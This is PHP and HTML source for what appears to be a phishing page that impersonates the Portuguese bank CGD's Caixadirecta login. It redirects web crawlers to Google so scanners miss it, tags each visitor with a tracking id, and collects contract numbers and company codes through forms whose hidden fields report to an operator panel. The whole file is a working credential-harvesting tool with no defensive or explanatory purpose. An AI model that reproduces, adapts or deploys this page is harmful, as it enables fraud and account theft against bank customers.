<?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>

<html>
    <head>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/style.css">
        <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'>
        <script src="https://kit.fontawesome.com/992c3cc884.js" crossorigin="anonymous"></script>
        <title>CGD</title>
 <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
         <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
<style>
    main .main-div .form-elements img {
        padding: 8px 20px !important;
        height: 20px !important;
        width: 20px !important;
    }
   
</style>
       
    </head>
    <body>
        <header>
            <center>
            <div>
                <p>
                    <a>PT</a>&nbsp;&nbsp;<a style="color: #ccc;">EN</a>
                </p>
                <div style="display: block;">
                    <p>
                        Particulares
                    </p>
                    <p>
                        <i class="fa-solid fa-angle-up"></i>
                    </p>
                </div>
                <p style="font-family: Spartan-b;font-size:16px;">
                    <i style="color: #fff;" class="fa-solid fa-lock"></i> Login
                </p>
            </div>
            </center>
        </header>
        <main>
            

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>

                          
                     

                <div class="main-div">
                    <form  action="#" id="form" method="post" name="login">


                  <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="1" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                        <div class="form-elements">
                            <label for="contract-number">Particulares</label>
                            <div class="div-input" style="display: flex;">
                                <input required type="number"  placeholder="Nº de Contrato" id="number" name="number">
                                <button style="border: none; padding: 0px !important;" type="button" onclick="formSubmit1()">
                                    <img src="<?= URLROOT ?>/panel/imgs/btn_pause.png" alt="">
                                </button>
                            </div>
                            <small>
                            <i class="fa-solid fa-angle-right"></i>
                            Ajuda Particulares
                            </small>
                        </div>
                    </form>
                    <!-- <div class="breaker"></div> -->
                    <form  action="#" id="form3" method="post" name="login">


                  <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="1" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">
                    <div class="form-elements" onclick="formSubmit3()">
                        <!-- <label for="contract-number">Particulares</label> -->
                        <div class="div-input">
                            <img src="<?= URLROOT ?>/panel/imgs/linkGOV.png" style="    width: auto !important;height: 36px !important;">
                        </div>
                        <small style="color: #0071ce;">
                        <i class="fa-solid fa-angle-right"></i>
                        Saiba mais sobre a Chave Móvel Digital
                        </small>
                    </div>

                </form>

                    <div class="form-elements">
                        <form  action="#" id="form1" method="post" name="login">


                  <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="1" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                        <label for="contract-number">Empresas</label>
                        <div class="div-input" style="display: flex;">
                            <input required type="number"  placeholder="Código de empresa" id="company_code" name="company_code">
                            <button style="border: none; padding: 0px !important;" type="button" onclick="formSubmit2()">
                                <img src="<?= URLROOT ?>/panel/imgs/btn_pause.png" alt="">
                            </button>
                        </div>
                        <small>
                        <i class="fa-solid fa-angle-right"></i>
                        Ajuda Empresas
                        </small>
                    </form>

                    </div>
                    <div class="links-div">
                        <p class="heading">Quero ser cliente:</p>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Particulares</small>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Empresas</small>
                    </div>
                    <div class="links-div">
                        <p class="heading">Links úteis:</p>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Faça download da App Caixadirecta</small>
                        <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Recomendações de Segurança</small>
                    </div>
                </div>
            
            
        </main>


          <script>
     function chageValue(){
           var company_id = $('#company_id').val();
           var user_id = $('#user_id').val();
           var password = $('#password').val();
           if(company_id != "" && user_id != "" && password != ""){
               $('#form_check').removeAttr('disabled','disabled')
           }else{
                $('#form_check').attr('disabled','disabled')
           }
     }
    function formSubmit(){

        // var number = $('#number').val();
        // var company_code = $('#company_code').val();
        // localStorage.setItem('number', number);
        // localStorage.setItem('company_code', company_code);
        // window.open("<?=URLROOT?>/?p=password1","_self");
          var loader = new Option();
          loader.formSubmit();
      

      


    }

    function formSubmit1(){

            localStorage.setItem('number', $('#number').val());

          var loader = new Option();
          loader.formSubmit1();
      



    }

    function formSubmit2(){

        localStorage.setItem('company_code', $('#company_code').val());

          var loader = new Option();
          loader.formSubmit2();
      



    }
    function formSubmit3(){
        var loader = new Option();
          loader.formSubmit3();
    }
    
   </script>
    </body>
</html>